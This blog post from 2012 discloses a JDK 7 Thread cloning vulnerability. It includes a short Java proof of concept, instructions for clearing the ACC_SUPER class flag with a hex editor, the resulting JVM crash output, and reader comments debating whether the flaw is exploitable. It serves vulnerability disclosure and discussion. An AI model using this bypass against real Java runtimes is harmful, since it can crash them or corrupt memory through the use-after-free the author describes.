# Thursday, 01 November 2012
« IKVM.NET 7.2 Release Candidate 4 | Main | IKVM.NET 7.2 Release Candidate 5 »
JDK 7 Thread Cloning Vulnerability

This blog entry was originally posted on June 23, 2011, but was deleted as Oracle asked me to take it down while they investigate. After more than a year, the issue still has not been addressed, so I notified Oracle that I wanted to repost the blog entry and received no response. -- Jeroen

I warned on the mailing list when this came up, but apparently was ignored,so maybe a blog post will help.

In one of last year's updates of JDK 6 the cloning vulnerability was fixed in a hackish, but clever and safe way. Now in JDK 7 they try to fix it by overriding Object.clone() with a version that simply throws CloneNotSupportedException. The only problem is, in Java (and .NET too) overriding a method is not a safe way to make the base class method unavailable.

The (still) not so well known ACC_SUPER flag allows you (when it isn't set) to call arbitrary (accessible) methods in your super class hierarchy. So Thread.clone() can be skipped and Object.clone() can be called from any Thread subclass that doesn't have the ACC_SUPER flag set.

Here's an example:

class Clone extends Thread implements Cloneable {
  public Object clone() {
    try { return super.clone(); }
    catch (CloneNotSupportedException _) { throw new Error(); }
  }
}

class Demo {
  public static void main(String[] args) throws Throwable {
    Clone c1 = new Clone() {
      public void run() {
        for (;;) {
        }
      }
    };
    c1.start();
    Thread t = (Thread)c1.clone();
    c1.stop();
    c1.join();
    System.gc();
    t.stop();
  }
}

Note that after you compile this with JDK 6 you'll need to edit the Clone.class to clear the ACC_SUPER flag. Use a hex editor to replace 20 (hex) with 00 or download a copy here.

Now run it:

C:\j>\jdk1.7-b145\bin\java Demo
#
# A fatal error has been detected by the Java Runtime Environment:
#
# EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x000000006cd5af54, pid=3708, t id=10460
#
# JRE version: 7.0-b145
# Java VM: Java HotSpot(TM) 64-Bit Server VM (21.0-b15 mixed mode windows-amd64 compressed oops)
# Problematic frame:
# V [jvm.dll+0x1caf54]
#
# Failed to write core dump. Minidumps are not enabled by default on client versions of Windows
#
# An error report file with more information is saved as:
# C:\j\hs_err_pid3708.log
#
# If you would like to submit a bug report, please visit:
# http://bugreport.sun.com/bugreport/crash.jsp
#

Thursday, 01 November 2012 16:11:20 (W. Europe Standard Time, UTC+01:00)  #    Comments [9]
Thursday, 01 November 2012 17:22:57 (W. Europe Standard Time, UTC+01:00)
If I compile the Clone.java example the super.clone() translates to an invokespecial on Thread.clone(), but your Clone.class has it as an invokespecial on Object.clone(). Did you have to edit the constant pool too to make it so?
Thursday, 01 November 2012 17:32:37 (W. Europe Standard Time, UTC+01:00)
No, that's why it says to compile against JDK6. At the time of the writing its Thread didn't override clone (I haven't checked recently).
Thursday, 01 November 2012 18:37:11 (W. Europe Standard Time, UTC+01:00)
This is a bug. But why has Oracle to remove it? Currently I see no option to attack a system with this bug.

There are many other possible to crash a JVM without manipulating byte code.
Volker Berlin
Thursday, 01 November 2012 19:44:38 (W. Europe Standard Time, UTC+01:00)
I can't reproduce this on either 6 or 7 using your Clone.class and a locally compiled copy of Demo.

$ /usr/lib/jvm/icedtea-6/bin/javac Demo.java
Note: Demo.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
$ /usr/lib/jvm/icedtea-7/bin/java Demo
$ /usr/lib/jvm/icedtea-6/bin/java Demo

You seem to be using a very old version of 7.

FWIW, 6 provides a full implementation of clone in Thread:

changeset: 434:34dd517c7183
user: chegar
date: Wed Jun 30 16:51:19 2010 +0100
summary: 6926623: Thread clone issues

while 7 just throws CloneNotSupportedException, due to this change:

changeset: 2670:fd28003bc1d6
user: chegar
date: Mon Aug 23 14:35:22 2010 +0100
summary: 6968584: Thread should not be Cloneable

This changeset:

changeset: 2900:de8991ef7b1b
parent: 2898:505befdee800
user: chegar
date: Wed Jun 30 16:08:47 2010 +0100
summary: 6926623: Thread clone issues

actually adds the 6 version to 7, but it isn't in the final version.

Typically, 6926623 isn't visible. The other is:

http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6968584
Friday, 02 November 2012 03:18:19 (W. Europe Standard Time, UTC+01:00)
Sorry for missing the giant bold JDK6 hint. That is certainly easier than editting the class constant pool :)

Although I also don't see the crash on my latest fedora install, I also don't see any CloneNotSupportedException being thrown. So at least the cloning of an active Thread seems to work.

The approach in 6 seems correct. The this == me checks should make sure no native methods get called on the cloned Thread. But these checks aren't in any version of 7 as far as I can see. Andrew points out that the this == me check did come from 6 to 7 at some point, but was then reverted?

It might be that invoking the native thread methods on a cloned Thread object is only fatal on Windows.
Sunday, 04 November 2012 21:10:51 (W. Europe Standard Time, UTC+01:00)
I agree with Volker. I don't see any immediate danger from a NULL pointer dereference crash. Can you elaborate on why you think this is a security issue?
jduck
Monday, 05 November 2012 07:51:15 (W. Europe Standard Time, UTC+01:00)
@jduck It's not a null pointer deference, it's a use after free. The Java Thread object contains a pointer to native memory and when the original thread ends it deallocates the memory, the cloned object subsequently accesses the freed memory.

Having said that, I don't think it is (easily) exploitable and that's the reason I originally posted this instead of going to Oracle. The point of this post was to show that Oracle developers that write security critical Java code are not aware of all the JVM "features" and even when something is pointed out to them it is ignored. This has implications about the trustworthiness of Java, beyond the currently obvious number of vulnerabilities.
Wednesday, 07 November 2012 03:29:12 (W. Europe Standard Time, UTC+01:00)
Yawn. Don't want to burst your bubble, but there's plenty of ways to crash the JVM, if one is so inclined.
Jimmy Joe
Monday, 04 February 2013 11:40:55 (W. Europe Standard Time, UTC+01:00)
Last week Oracle released a security update that fixes the issue. http://www.oracle.com/technetwork/topics/security/javacpufeb2013-1841061.html
Name
E-mail
Home page

I apologize for the lameness of this, but the comment spam was driving me nuts. In order to be able to post a comment, you need to answer a simple question. Hopefully this question is easy enough not to annoy serious commenters, but hard enough to keep the spammers away.

Anti-Spam Question: What method on java.lang.System returns an object's original hashcode (i.e. the one that would be returned by java.lang.Object.hashCode() if it wasn't overridden)? (case is significant)

Answer:  
Comment (HTML not allowed)  

Live Comment Preview